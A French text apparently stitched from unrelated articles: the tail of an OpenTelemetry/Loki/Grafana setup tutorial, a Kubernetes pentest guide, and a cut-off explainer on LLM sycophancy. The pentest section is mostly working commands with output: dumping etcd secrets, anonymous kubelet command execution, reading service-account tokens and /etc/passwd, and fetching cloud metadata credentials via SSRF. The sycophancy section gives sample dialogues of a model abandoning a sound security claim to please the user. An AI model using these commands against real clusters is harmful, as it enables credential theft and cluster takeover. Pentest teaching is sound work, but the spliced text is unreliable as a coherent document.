     -> http.url: Str(/api/users)
     -> http.status_code: Int(200)
Trace ID:
Span ID:
Flags: 0

Installation de Loki et Grafana

Pourquoi ces outils?

Après collecte des logs, nous avons désormais besoin d'une interface pour les visualiser, les trier, les filtrer...

Il existe plusieurs solutions sur le marché, et voici un tableau comparatif des plus célèbres d'entre elles:

Pour ma part, je souhaite une solution 100% Open Source (si possible); et en particulier éviter les dépendances à des outils tiers. Le critère du coût est prioritaire, et je veux le plus possible avoir la main sur le traitement de mes données par ces outils. Mon choix s'est donc porté sur le couple Grafana / Loki.

Par ailleurs, Loki reconnaît nativement les données OTLP que le collecteur lui transmet par requêtes HTTP; nous restons donc sur les mêmes principes de fonctionnement que ceux présentés au début de cet article.

Installation

Nous ajoutons de nouveaux services au fichier de configuration de conteneurs docker-compose.yml (et quelques paramètres au collecteur):

services:
  open-telemetry-collector:
    image: otel/opentelemetry-collector
    volumes:
      - ./open-telemetry-collector-config.yaml:/etc/otelcol/config.yaml
    ports:
      - 4318:4318
    depends_on:
      - loki
    networks:
      - loki

  loki:
    image: grafana/loki:3.4.2
    ports:
      - "3100:3100"
    volumes:
      - ./loki-config.yaml:/etc/loki/local-config.yaml
    command: -config.file=/etc/loki/local-config.yaml
    networks:
      - loki

  grafana:
    image: grafana/grafana:11.6.0
    environment:
      - GF_FEATURE_TOGGLES_ENABLE=grafanaManagedRecordingRules
      - GF_AUTH_ANONYMOUS_ORG_ROLE=Admin
      - GF_AUTH_ANONYMOUS_ENABLED=true
      - GF_AUTH_BASIC_ENABLED=false
    ports:
      - 3000:3000/tcp
    entrypoint:
       - sh
       - -euc
       - |
         mkdir -p /etc/grafana/provisioning/datasources
         cat <<EOF > /etc/grafana/provisioning/datasources/ds.yaml
         apiVersion: 1
         datasources:
         - name: Loki
           type: loki
           access: proxy
           orgId: 1
           url: 'http://loki:3100'
           basicAuth: false
           isDefault: true
           version: 1
           editable: true
         EOF
         /run.sh
    networks:
      - loki

networks:
    loki:

Avec cette configuration:

• Loki écoute les requêtes HTTP au format OTLP sur le port 3100

• L'interface visuelle Grafana sera disponible sur l'URL suivante: http://localhost:3000

Et nous configurons un nouvel exporter dans notre fichier de configuration du collecteur open-telemetry-collector-config.yaml :

receivers:
  otlp:
    protocols:
      http:
        endpoint: 0.0.0.0:4318

exporters:
  debug:
    verbosity: detailed
  otlphttp/logs:
    endpoint: "http://loki:3100/otlp"
    tls:
      insecure: true

service:
  pipelines:
    logs:
      receivers: [otlp]
      exporters: [debug, otlphttp/logs]

Il faut noter que l'exporter est paramétré pour envoyer les données vers le nom de domaine loki sur le port 3100; ce nom de domaine est configuré dans la configuration des conteneurs, section networks.

Loki a lui aussi besoin de son fichier de configuration loki-config.yaml, à placer dans le même dossier que les 2 fichiers précédents:

auth_enabled: false

limits_config:
  allow_structured_metadata: true
  volume_enabled: true

server:
  http_listen_port: 3100

common:
  ring:
    instance_addr: 0.0.0.0
    kvstore:
      store: inmemory
  replication_factor: 1
  path_prefix: /tmp/loki

schema_config:
  configs:
  - from: 2020-05-15
    store: tsdb
    object_store: filesystem
    schema: v13
    index:
      prefix: index_
      period: 24h

storage_config:
  tsdb_shipper:
    active_index_directory: /tmp/loki/index
    cache_location: /tmp/loki/index_cache
  filesystem:
    directory: /tmp/loki/chunks

pattern_ingester:
  enabled: true

Nous relançons les conteneurs:

docker compose up

Nous exécutons à nouveau le script Node.js présenté en partie 1:

node exemple-open-telemetry.js

Lorsque les conteneurs sont lancés, Grafana est disponible sur l'URL suivante : http://localhost:3000.

Dans la section "Explore", nous allons créer une query. On note que Grafana dispose déjà d'une liste de labels créée à partir de notre simple exécution du script ci-dessus; on sélectionne donc le label "deployment_environment" et la valeur "development" pour ce label, puis on clique sur le bouton "Run query".

Nous trouvons bien notre log, et ses métadonnées dans les résultats de Grafana.

Industrialiser la solution

Pour mettre à l'échelle cette infrastructure, voici mes prochaines étapes

• installer mes services Node.js, et instances du collecteur, de Loki et de Grafana sur des machines différentes (et donc remplacer "localhost" par des noms de domaine)

• utiliser HTTPS pour les communications entre ces instances

• paramétrer l'authentification sur les différents outils

• factoriser le code d'exemple présenté en partie 1, de sorte à l'implémenter sous forme d'une classe TypeScript

Conclusion

Cet article, bien que focalisé sur la gestion des logs de leur production dans le code jusqu'à leur exploitation visuelle dans un écosystème OpenTelemetry, a également décrit l'installation du collecteur.

Ce collecteur est le fondement de cet écosystème, et j'écris d'ailleurs un article similaire à propos de l'instrumentation des traces HTTP. Ce nouvel article se basera lui aussi sur le collecteur et j'en reprendrai donc les éléments de configuration...

Cet article aborde le pentest d'un cluster Kubernetes de manière pratique et méthodique. L'objectif est de couvrir, pour chaque type d'accès possible, les techniques et vecteurs d'attaque associés : depuis la reconnaissance de la surface d'exposition externe, jusqu'à l'exploitation des composants internes une fois un premier accès obtenu.

La progression suit une logique de pivot : on commence par l'extérieur, on cherche une entrée, puis on escalade méthodiquement jusqu'aux ressources les plus sensibles.

Reconnaissance externe : Cartographier la surface d'exposition

Avant de tenter quoi que ce soit, il faut comprendre ce qui est visible depuis l'extérieur. Un cluster Kubernetes n'est pas un "monolithe" : il est composé de nombreux composants qui écoutent sur des ports bien identifiés. Certains sont intentionnellement exposés (l'application web), d'autres ne devraient jamais l'être (kubelet, etcd). La première étape consiste à cartographier tout cela.

La surface d'attaque visible dépend directement de la façon dont le cluster est déployé et exposé. On ne scanne pas un cluster cloud derrière un Load Balancer de la même manière qu'un cluster on-premise avec des nœuds directement accessibles.

• Cloud avec Load Balancer (EKS, GKE, AKS) : l'IP publique appartient au LB (Load Balancer), les nœuds sont dans un sous-réseau privé. La surface visible est réduite à ce que le LB expose. L'accès direct aux composants internes (kubelet, etcd) est moins probable, mais pas impossible selon les règles de pare-feu.

• On-premise ou cloud mal configuré : les nœuds ont des IP directement routables. C'est dans ce cas que l'on trouve le plus souvent des API servers ou des kubelet directement joignables.

Dans tous les cas, dès que les adresses IP des nœuds sont connues ou découvertes, il convient d'effectuer un scan de ports sur chacun d'eux.

Identification des services exposés

Recherche active : scans réseaux

Un cluster Kubernetes fait tourner de nombreux composants qui écoutent chacun sur des ports connus. Les composants du nœuds maitre et des nœuds de travail (workers) n'exposent pas les mêmes ports et ne présentent pas les mêmes risques.

🧠 Nœud maître (plan de contrôle)

👷 Nœuds de travail (workers)

À ces ports s'ajoutent les composants additionnels souvent présents : dashboards (8001, 8443), Ingress controllers (80, 443), registres de conteneurs, outils de CI/CD (Argo CD, Jenkins, etc.).

En contexte de pentest, on dispose rarement d'une cartographie préalable du cluster. On sait qu'une ou plusieurs IPs sont liées à l'infrastructure, pas nécessairement si c'est une IP d'un noeud maitre ou de travail. L'approche est donc la même sur chaque machine identifiée : on scanne les ports Kubernetes connus et on interprète ce qui répond.

# Exemple sur un cluster correctement configuré
$ nmap -p 443,6443,8080,8443,2379,2380,10250,10255,10256 -sV --open \
    10.25.11.200 10.25.11.201 10.25.11.202

Nmap scan report for 10.25.11.200
PORT      STATE SERVICE  VERSION
6443/tcp  open  ssl/http Golang net/http server
10250/tcp open  ssl/http Golang net/http server

Nmap scan report for 10.25.11.201
PORT      STATE SERVICE  VERSION
10250/tcp open  ssl/http Golang net/http server

Nmap scan report for 10.25.11.202
PORT      STATE SERVICE  VERSION
10250/tcp open  ssl/http Golang net/http server

Le port 6443 (kube-apiserver) ne répond que sur une seule machine, ce qui trahit le nœud maître. Le port 10250 (kubelet) répond sur toutes les machines. Aucune trace de 2379 (etcd) ni de 8080 (API server HTTP legacy), ces composants ne sont pas exposés sur ce cluster.

On complète avec un scan de la plage NodePort pour détecter d'éventuels services applicatifs exposés directement sur les nœuds :

$ nmap -p 30000-32767 --open 10.25.11.200 10.25.11.201 10.25.11.202

# Aucun résultat : aucun Service de type NodePort déployé sur ce cluster

⚠️ Note : En situation réelle, adapter la vitesse du scan selon le contexte. Un scan agressif peut déclencher des alertes ou impacter les services.

La même reconnaissance est possible via Kubestroyer, qui identifie automatiquement le rôle de chaque port dans l'écosystème Kubernetes et peut enchaîner directement sur l'exploitation si une misconfiguration est détectée :

# Scan des ports Kubernetes connus
$ kubestroyer -t 10.25.11.200,10.25.11.201,10.25.11.202

[+] port 6443 open  (Kubernetes API port)        # 10.25.11.200
[+] port 10250 open (Kubelet API anonymous port) # 10.25.11.200, .201, .202

# Scan de la plage NodePort
$ kubestroyer -t 10.25.11.200,10.25.11.201,10.25.11.202 --node-scan
# Aucun port NodePort ouvert détecté

Recherche passive : domaines, Ingress et services exposés

Le scan de ports couvre les IPs connues. Mais dans un contexte cloud, une partie de la surface d'attaque n'est pas accessible via IP directe : elle passe par des noms de domaine et des Ingress. La recherche passive permet d'identifier ces points d'entrée sans envoyer un seul paquet vers la cible.

Enumération des sous-domaines via outils

Un cluster expose souvent plusieurs services sous des sous-domaines d'un même domaine principal. L'objectif est d'en dresser la liste avant d'interagir avec eux.

# Enumération passive via certificats TLS (crt.sh)
$ curl -s "https://crt.sh/?q=%.example.com&output=json" | jq '.[].name_value' | sort -u

# Enumération DNS avec amass (mode passif)
$ amass enum -passive -d example.com
$ bbot -t example.com -f subdomain-enum --force

# Bruteforce DNS
$ gobuster dns -d example.com -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt

# Bruteforce vhost (trouve les services routés par l'Ingress sans enregistrement DNS)
$ gobuster vhost -u https://<ip-ou-domaine> --append-domain \
    -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt
$ ffuf -u https://<ip-ou-domaine> -H "Host: FUZZ.example.com" \
    -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
    -fs <taille-reponse-par-defaut>

Parmi les sous-domaines trouvés, certains noms sont révélateurs d'une infrastructure Kubernetes : k8s., kube., api., argo., grafana., dashboard., registry., etc.

Enumération des sous-domaines via OSINT

Shodan, Censys et ZoomEye indexent les services accessibles publiquement. Des dorks spécifiques permettent de trouver des composants Kubernetes exposés, sans jamais contacter la cible directement :

# Shodan
port:6443 ssl:"kubernetes"
port:10250 "Kubelet"
product:etcd
"kubernetes dashboard"
"kubernetes master"

# Censys
services.port: 6443
services.software.product: "etcd"

# Google
site:example.com inurl:"/api/v1"
site:example.com intitle:"Kubernetes Dashboard"

Exemple avec Shodan :

Des API etcd non authentifiées, des dashboards Kubernetes ou des kubelet ouverts se retrouvent régulièrement indexés. Cette étape fournit des cibles concrètes avant tout contact direct.

Enumeration des sous-domaines via VHOST

Un Ingress controller peut écouter sur des ports très variés selon le type de déploiement : 80/443 en cloud (service LoadBalancer) ou avec hostPort directement sur le nœud, un NodePort (30000-32767) sur un cluster on-premise ou un lab, ou encore 8080/8443 sur des environnements de dev. Il n'est donc pas toujours évident de distinguer un Ingress d'une application exposée directement.

Sur chaque port HTTP identifié par nmap, on envoie une requête sans Host valide et on compare la réponse contre les signatures connues des Ingress controllers :

$ ffuf -u https://<ip>:<port>/ -H "Host: FUZZ" -w /dev/null -mr "nginx|default backend|traefik|404 page not found" -x GET

Ou simplement avec curl pour lire les headers et le corps :

$ curl -sk https://<ip>:<port>/ -D -
HTTP/2 404
...
<center>nginx</center>         # nginx-ingress
# ou : default backend - 404  # nginx-ingress < 1.0
# ou : X-Powered-By: traefik  # Traefik

Le certificat TLS peut aussi lister directement les services exposés via les SANs :

$ openssl s_client -connect <ip>:<port> </dev/null 2>/dev/null \
    | openssl x509 -noout -text | grep -A 2 "Subject Alternative Name"
DNS:app.example.com, DNS:api.example.com, DNS:*.example.com

Exemple de service ingress nginx :

Une fois l'Ingress confirmé, on cartographie ce qui se cache derrière : vhosts, paths applicatifs, interfaces d'administration oubliées.

# Enumération des vhosts
$ ffuf -u https://<ip>:<port>/ -H "Host: FUZZ.example.com" \
    -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
    -fs <taille-reponse-par-defaut>

# Fuzzing des paths sur un vhost identifié
$ ffuf -u https://<domaine>/FUZZ \
    -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt

Les interfaces d'administration (Argo CD, Grafana, Kibana, Jupyter, Kubernetes Dashboard) sont des cibles fréquentes : elles sont souvent déployées pour les équipes internes et exposées sans authentification forte, voire sans authentification du tout.

Exploitation des services identifiés

Services Kubernetes

etcd (2379/tcp, 2380/tcp)

etcd est la base de données du cluster. Il stocke l'état complet du cluster, y compris tous les Secrets en base64. C'est le composant le plus critique : y accéder sans authentification signifie accéder à tout.

2379/tcp: compromission totale, dump de tous les secrets du cluster

Sur notre cluster de démonstration, un etcd standalone a été démarré sans TLS (--listen-client-urls http://0.0.0.0:2379). Sans certificat client, l'accès est immédiat :

# etcd répond sans certificat client
$ curl http://10.25.11.200:2379/version
{"etcdserver":"3.5.12","etcdcluster":"3.5.0"}

# Avec etcdctl : lister toutes les clés
$ etcdctl --endpoints=http://10.25.11.200:2379 get / --prefix --keys-only
/registry/secrets/default/db-credentials
/registry/secrets/kube-system/admin-token
/registry/serviceaccounts/default/default
/registry/serviceaccounts/kube-system/cluster-admin-sa
/registry/serviceaccounts/kube-system/default

# Lire un secret et afficher son contenu brut
$ etcdctl --endpoints=http://10.25.11.200:2379 \
    get /registry/secrets/default/db-credentials --print-value-only
{
  "apiVersion": "v1",
  "kind": "Secret",
  "metadata": { "name": "db-credentials", "namespace": "default" },
  "type": "Opaque",
  "data": {
    "DB_PASSWORD": "c3VwZXJTZWNyZXRQYXNzd29yZDEyMw==",
    "DB_USER": "YWRtaW4=",
    "DB_HOST": "bXlzcWwucHJvZC5zdmMuY2x1c3Rlci5sb2NhbA=="
  }
}

Les valeurs sont encodées en base64 mais pas chiffrées (sauf si le chiffrement au repos est activé). Un base64 -d suffit à lire le contenu des Secrets :

# Décoder les valeurs base64
$ echo "c3VwZXJTZWNyZXRQYXNzd29yZDEyMw==" | base64 -d
superSecretPassword123

$ echo "YWRtaW4=" | base64 -d
admin

$ echo "bXlzcWwucHJvZC5zdmMuY2x1c3Rlci5sb2NhbA==" | base64 -d
mysql.prod.svc.cluster.local

# Cible prioritaire : les tokens de service accounts système
$ etcdctl --endpoints=http://10.25.11.200:2379 get / --prefix --keys-only | grep serviceaccount
/registry/serviceaccounts/default/default
/registry/serviceaccounts/kube-system/cluster-admin-sa
/registry/serviceaccounts/kube-system/default

Un token de service account cluster-admin extrait d'etcd donne un accès complet au cluster via l'API server, sans passer par les mécanismes d'authentification normaux.

Kubestroyer automatise cette vérification avec le flag --etcd : il tente une connexion anonyme et extrait les objets disponibles sans avoir à manipuler etcdctl manuellement.

$ kubestroyer -t <ip> --etcd

2380/tcp: perturbation du cluster etcd (exploitation complexe)

Le port 2380 sert à la communication entre membres du cluster etcd (Raft). Il n'est pas destiné aux clients, mais son exposition indique que etcd n'est pas isolé réseau. Dans un cluster multi-nœuds, il peut permettre d'injecter un nouveau membre etcd ou de provoquer une perturbation du quorum, mais l'exploitation directe via ce port est nettement plus complexe que via 2379.

kubelet (10250/tcp, 10255/tcp)

Le kubelet est l'agent qui tourne sur chaque nœud et exécute les pods. Son API expose des endpoints permettant d'interagir directement avec les conteneurs du nœud.

10250/tcp: RCE dans n'importe quel pod du nœud

Si le kubelet est configuré avec --anonymous-auth=true et --authorization-mode=AlwaysAllow (configuration par défaut sur certaines distributions anciennes), il est possible d'exécuter des commandes dans n'importe quel pod du nœud sans authentification.

Sur notre cluster, le kubelet répond mais rejette les requêtes anonymes :

# Tenter de lister les pods du nœud sans authentification
$ curl -sk https://10.25.11.201:10250/pods
Unauthorized

C'est le comportement attendu d'un kubelet correctement configuré. Sur notre cluster de démonstration, après activation de l'authentification anonyme sur le kubelet du nœud worker-01, la même requête retourne la liste complète des pods :

# Kubelet non authentifié : lister les pods du nœud
$ curl -sk https://10.25.11.201:10250/pods | jq '.items[] | {namespace: .metadata.namespace, name: .metadata.name}'
{"namespace": "kube-system", "name": "local-path-provisioner-546dfc6456-fbk7k"}
{"namespace": "kube-system", "name": "cilium-wqqnp"}
{"namespace": "kube-system", "name": "cilium-envoy-95h98"}
{"namespace": "default",     "name": "victim-pod"}

# Exécuter une commande dans un conteneur (cmd passé en query parameter)
$ curl -sk -X POST \
    "https://10.25.11.201:10250/run/default/victim-pod/victim-pod?cmd=id"
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)

$ curl -sk -X POST \
    "https://10.25.11.201:10250/run/default/victim-pod/victim-pod?cmd=hostname"
victim-pod

Kubestroyer automatise cette étape avec le flag --anon-rce. L'outil liste les conteneurs disponibles sur le nœud et propose d'y exécuter une commande (par défaut : récupération du token du Service Account) :

$ kubestroyer -t <ip-noeud> --anon-rce
$ kubestroyer -t <ip-noeud> --anon-rce -x "cat /etc/passwd"

Une fois l'exécution obtenue dans un conteneur, l'objectif immédiat est de récupérer le token du Service Account monté dans le pod. Ce token est présent dans tous les pods par défaut :

# Extraction du token du Service Account depuis le pod via l'endpoint /run
$ curl -sk -X POST \
    "https://10.25.11.201:10250/run/default/victim-pod/victim-pod?cmd=cat%20/var/run/secrets/kubernetes.io/serviceaccount/token"
eyJhbGciOiJSUzI1NiIsImtpZCI6IkRyUzU0MG1qdmJpeW85cUNhUzFxQ3k3REV4bTZFd2liYzhJc2JOQjRXVUEifQ.eyJhdWQiOlsiaHR0cHM6Ly9rdWJlcm5ldGVzLmRlZmF1bHQuc3ZjLmNsdXN0ZXIubG9jYWwiLCJrM3MiXSwiZXhwIjoxODAzNjUxODkwLCJpYXQiOjE3NzIxMTU4OTAsImlzcyI6Imh0dHBzOi8va3ViZXJuZXRlcy5kZWZhdWx0LnN2Yy5jbHVzdGVyLmxvY2FsIiwianRpIjoiMzI3ODVhMGEtMTJhMy00NGZjLThhZDktNTEwNzA1YzBhMTJkIiwia3ViZXJuZXRlcy5pbyI6eyJuYW1lc3BhY2UiOiJkZWZhdWx0Iiwibm9kZSI6eyJuYW1lIjoiazNzLXdvcmtlci0wMSIsInVpZCI6ImMyMjZjNjYyLTU3YWItNDlkZi1iM2E1LWY3MmQxMDM0OTI2YSJ9LCJwb2QiOnsibmFtZSI6InZpY3RpbS1wb2QiLCJ1aWQiOiI5YmU3MDM0Yy1kNTFlLTRiMzYtYWRiZi0yN2IyNzE1ZGVhYTgifSwic2VydmljZWFjY291bnQiOnsibmFtZSI6ImRlZmF1bHQiLCJ1aWQiOiJiYzcxZDUwYi03MDdjLTRiYjQtYjA0MC0zZDhhM2U0ODgzMDIifSwid2FybmFmdGVyIjoxNzcyMTE5NDk3fSwibmJmIjoxNzcyMTE1ODkwLCJzdWIiOiJzeXN0ZW06c2VydmljZWFjY291bnQ6ZGVmYXVsdDpkZWZhdWx0In0.kpyz-xHeexj43yw9ByeXXc0zuwpUXDKxu8jkZEzKr76s4OeJRuhJEYLoWcvGaG[...]

# On récupère aussi le namespace et le CA du cluster
$ curl -sk -X POST \
    "https://10.25.11.201:10250/run/default/victim-pod/victim-pod?cmd=cat%20/var/run/secrets/kubernetes.io/serviceaccount/namespace"
default

Ce token peut ensuite être utilisé contre l'API server. Selon les permissions RBAC du Service Account, il peut permettre d'énumérer d'autres ressources ou d'escalader les privilèges, ce qui fait l'objet des sections suivantes.

10255/tcp: fuite d'information, lecture seule sans authentification (désactivé par défaut depuis Kubernetes 1.16)

Plus simple encore : le port 10255 ne nécessite aucune authentification et expose la liste des pods sans restriction. Il reste présent sur des clusters anciens :

$ curl http://<ip-noeud>:10255/pods
$ curl http://<ip-noeud>:10255/stats/summary

kube-apiserver (6443/tcp, 8080/tcp)

Le kube-apiserver est le point d'entrée principal du cluster. S'il est accessible depuis l'extérieur, l'impact dépend directement du port exposé.

8080/tcp: accès total sans authentification (désactivé par défaut depuis Kubernetes 1.20)

Cas plus rare mais bien plus critique : lorsque le port 8080 est ouvert, l'API server tourne en HTTP sans TLS et sans authentification. On le trouve encore sur des clusters anciens ou mal configurés :

# Port 8080 : accès complet sans token, sans TLS
$ curl http://<ip>:8080/api/v1/secrets
$ curl http://<ip>:8080/api/v1/namespaces/kube-system/secrets
# → dump de tous les tokens de service accounts système

6443/tcp: enumération et escalade selon la configuration RBAC

Première chose à vérifier : est-ce que l'accès anonyme est autorisé ? La réponse varie selon la distribution et la version. Sur un cluster vanilla Kubernetes, --anonymous-auth est activé par défaut et certains endpoints comme /healthz ou /version répondent sans authentification. Sur k3s en revanche, même ces endpoints sont protégés.

# Tester l'accès anonyme (ressources du cluster)
$ curl -k https://10.25.11.200:6443/api/v1/namespaces
{"kind":"Status","apiVersion":"v1","metadata":{},"status":"Failure",
"message":"Unauthorized","reason":"Unauthorized","code":401}

# Tester les endpoints d'information
$ curl -k https://10.25.11.200:6443/version
{"kind":"Status",...,"message":"Unauthorized","code":401}

$ curl -k https://10.25.11.200:6443/healthz
{"kind":"Status",...,"message":"Unauthorized","code":401}

Ici, toutes les requêtes anonymes sont rejetées, y compris les endpoints habituellement non protégés. C'est le comportement de k3s, plus restrictif que vanilla Kubernetes sur ce point.

Sur notre cluster de démonstration, après activation de l'authentification anonyme (--anonymous-auth=true) et attribution du rôle cluster-admin à system:anonymous, la même requête retourne des données directement exploitables :

# Version du cluster exposée sans authentification
$ curl -k https://10.25.11.200:6443/version
{
  "major": "1",
  "minor": "34",
  "gitVersion": "v1.34.4+k3s1",
  "gitCommit": "c6017918a65c824ce8d321db15267c8a317cd39d",
  "gitTreeState": "clean",
  "buildDate": "2026-02-12T23:46:53Z",
  "goVersion": "go1.24.12",
  "compiler": "gc",
  "platform": "linux/amd64"
}

# Enumération des namespaces sans token
$ curl -k https://10.25.11.200:6443/api/v1/namespaces | jq '.items[].metadata.name'
"cilium-secrets"
"default"
"kube-node-lease"
"kube-public"
"kube-system"

# Listing des secrets dans kube-system
$ curl -k https://10.25.11.200:6443/api/v1/namespaces/kube-system/secrets | jq '.items[] | {name: .metadata.name, type: .type}'
{"name": "cilium-ca",                         "type": "Opaque"}
{"name": "hubble-relay-client-certs",          "type": "kubernetes.io/tls"}
{"name": "hubble-server-certs",                "type": "kubernetes.io/tls"}
{"name": "k3s-serving",                        "type": "kubernetes.io/tls"}
{"name": "k3s-worker-01.node-password.k3s",    "type": "k3s.cattle.io/node-password"}
{"name": "k3s-worker-02.node-password.k3s",    "type": "k3s.cattle.io/node-password"}
{"name": "sh.helm.release.v1.cilium.v1",       "type": "helm.sh/release.v1"}

Si un token de service account est récupéré, il peut être utilisé directement pour s'authentifier en tant que ce compte et accéder à l'API avec ses permissions :

$ TOKEN="eyJhbGciOiJSUzI1NiIs..."
\( curl -k -H "Authorization: Bearer \)TOKEN" https://10.25.11.200:6443/api/v1/namespaces

Services web

Quand les composants Kubernetes natifs ne sont pas directement accessibles, l'entrée se fait via les applications déployées dans le cluster. Ces applications peuvent être exposées de plusieurs manières : via un Ingress controller, en NodePort (port ouvert directement sur chaque nœud dans la plage 30000-32767), ou via un LoadBalancer cloud.

Dans tous les cas, l'objectif est d'identifier une application vulnérable : RCE dans un pod, vol de credentials IAM via SSRF vers le metadata cloud, ou lecture de secrets via une CVE connue.

Kubernetes Dashboard

Interface web officielle de Kubernetes, souvent déployée à usage interne puis parfois oubliée et exposée (via NodePort). L'impact est majeur : le dashboard donne une vue complète sur toutes les ressources du cluster (pods, secrets, configmaps, service accounts) et permet d'exécuter des commandes dans n'importe quel pod directement depuis l'interface. Si le Service Account associé est cluster-admin, c'est une compromission totale du cluster.

Deux conditions mènent à un accès sans authentification : --enable-skip-login (bouton "Skip" visible sur la page de login), ou un SA cluster-admin sans rotation de token. Le dashboard proxifie l'API Kubernetes et est interrogeable directement :

# Vérifier si le bouton Skip est actif
$ curl -sk https://<dashboard>/api/v1/csrftoken/login

# Lister les secrets de tous les namespaces (tokens SA, credentials applicatifs, certs TLS...)
$ curl -sk https://<dashboard>/api/v1/namespace/default/secret
$ curl -sk https://<dashboard>/api/v1/namespace/kube-system/secret

# Lister les pods et leurs Service Accounts
$ curl -sk https://<dashboard>/api/v1/namespace/default/pod

# Exec dans un pod via le dashboard (équivalent kubectl exec)
$ curl -sk -X PUT "https://<dashboard>/api/v1/namespace/default/pod/<pod>/shell/<container>"

Applications vulnérables et accès initial

Outils tiers déployés dans le cluster

Argo CD, Grafana, Kibana ou Jupyter sont fréquemment déployés dans les clusters pour des besoins de CI/CD, monitoring ou data science. Ils ont en commun d'être souvent accessibles depuis l'extérieur, avec des versions rarement à jour et des configurations par défaut peu sécurisées. Une fois le service identifié, la CVE ou la misconfig associée est généralement documentée et directement exploitable.

Pour détecter automatiquement ces panels sans les tester un par un, Nuclei dispose de templates dédiés :

$ nuclei -u https://<domaine> -t exposed-panels/ -severity medium,high,critical

Applications personnalisées

Une application exposée via Ingress peut servir de point d'entrée. L'objectif est d'obtenir une exécution dans un pod. Vecteurs courants :

• Injection de commandes, SSTI, déserialisation

• Endpoints non protégés : /actuator/env, /debug/pprof, /.git/HEAD

• SSRF vers l'API server interne ou le metadata endpoint cloud

# AWS IMDSv1 — credentials IAM du nœud
$ curl http://169.254.169.254/latest/meta-data/iam/security-credentials/<role-name>

# GCP metadata
$ curl -H "Metadata-Flavor: Google" \
    http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token

# Scan de vulnérabilités web + misconfigs Kubernetes en une passe
$ nuclei -l targets.txt -t kubernetes/,exposed-panels/,vulnerabilities/ -severity medium,high,critical

Dans tous ces cas, l'objectif est d'obtenir une exécution dans un pod. C'est à partir de ce premier accès que démarre la phase d'exploitation interne, couverte dans les sections suivantes.

1.6 TL;DR

Cet article couvre la surface d'attaque externe d'un cluster Kubernetes, de la reconnaissance jusqu'à l'obtention d'un premier accès. On commence par cartographier passivement ce qui est exposé (Shodan, crt.sh, Censys) avant de passer à un scan actif Nmap sur les ports Kubernetes connus et les plages NodePort.

Quand des composants natifs sont directement accessibles, l'impact est immédiat et souvent total : etcd sans TLS expose tous les secrets du cluster en clair, kubelet sans authentification permet d'exécuter des commandes dans n'importe quel pod du nœud, et l'API server en HTTP donne un accès complet sans credentials. Sur HTTPS, tout dépend de la configuration RBAC — l'accès anonyme activé suffit souvent à énumérer des ressources sensibles.

Quand ces composants ne sont pas accessibles, on passe par les applications exposées. Le Kubernetes Dashboard mal configuré est une compromission directe du cluster depuis un navigateur. Les outils tiers comme Argo CD, Grafana ou Kibana ont des CVE bien documentées : identifier la version suffit à trouver le vecteur. Pour les applications personnalisées, on reste dans un contexte de pentest web classique jusqu'à trouver une RCE ou une SSRF. La première donne un shell dans un pod avec le token SA monté, la seconde permet d'atteindre l'API server interne ou les credentials IAM cloud.

Les vecteurs couverts dans cet article mènent à des états très différents : shell dans un pod, accès direct à l'API avec un token SA volé, credentials cloud récupérés via SSRF. Le prochain article part du cas le plus courant et le plus contraint : on est à l'intérieur d'un pod compromis, sans accès direct à l'API, et on cherche à comprendre où on est, ce qu'on peut atteindre, et comment progresser vers les ressources les plus sensibles du cluster.

Parfois parce que votre suggestion était en effet judicieuse, mais également parfois alors qu'elle ne l'était pas du tout.

Cette tendance à complimenter l'utilisateur plus que nécessaire a un nom : “sycophancy” en anglais, ou bien “flagornerie” en français (à ne pas confondre avec le terme français “sycophant” qui a un sens différent). Elle peut se manifester de plusieurs façons, par exemple :

• Le modèle va corriger une affirmation qui était initialement fausse pour s'aligner avec l'utilisateur. C'est ce qu'on peut appeler de la sycophancy “progressive”, et bien qu’en apparence cela semble être quelque chose de positif cela n’est pas toujours le cas :

• LLM : Il serait préférable de stocker une copie du mot de passe de l'utilisateur en base de données pour faciliter sa manipulation.

• Utilisateur : Est-ce qu'il ne serait pas préférable de ne pas directement manipuler ou stocker le mot de passe des utilisateurs ?

• LLM : Tout a fait ! Stocker une copie du mot de passe ne serait définitivement pas une approche sécurisée !

• Plus embêtant : le modèle va abandonner une affirmation factuelle pour s'aligner avec l'utilisateur. Dans ce cas c'est de la sycophancy “régressive” :

• LLM : Tu peux t'appuyer sur le service SSO déjà existant pour gérer l'authentification des utilisateurs et ne pas avoir à manipuler leurs mots de passe directement.

• Utilisateur : J'ai vraiment l'impression qu'il serait plus simple de stocker les comptes utilisateurs directement dans notre base de données.

• LLM : Oui, tu as tout à fait raison ! Il serait bien plus raisonnable de choisir cette approche pour ne pas complexifier le projet !

Pourquoi ce phénomène ?

Revenons tout d'abord à la base de ce que sont les LLMs.

Contrairement à ce que beaucoup de personnes semblent penser ce ne sont pas des bases de connaissances, mais plutôt des systèmes d'auto-complétions très évolués. Ils vont donc simplement chercher à compléter un texte donné, bout par bout, en appliquant des règles statistiques.

Ces “règles” utilisent des poids qui sont calculés en amont par les fournisseurs de modèles (OpenAI, Anthropic, Google, Mistral, etc.) en ingérant d'énormes quantités de données provenant de sources diverses et variées (phase dite “non supervisée” de l'entraînement). La qualité des réponses et le comportement d'un LLM va donc être fortement dépendante de ces données.

Le texte généré peut également être influencé par :

• des phases d'entraînement supervisé - où des humains vont par exemple noter la qualité des réponses fournies par le LLM dans le but d'influencer son comportement par la suite

• le prompt système - un texte ajouté au début de chaque conversation et qui comporte des instructions à destination du modèle

• les prompts utilisateur / réponses précédentes - le dernier message envoyé, mais également tous les messages et réponses précédents (les LLMs sont “stateless” : à chaque nouveau message tout le reste de la conversation est, en général, de nouveau envoyé !)

À chacune de ces étapes divers biais peuvent s'introduire et pousser à la sycophancy :

• les sources de données : si celles-ci proviennent de communautés homogènes (ex : des forums ou sites spécialisés) la probabilité que les participants soient d'accord les uns avec les autres est plus élevée que dans des environnements favorisant des opinions opposées,

• les phases d'entraînement supervisé : si l'on propose deux réponses possibles à un utilisateur en lui demandant laquelle il préfère il aura tendance à choisir celle qui le flatte - même si elle est moins factuelle que l'autre,

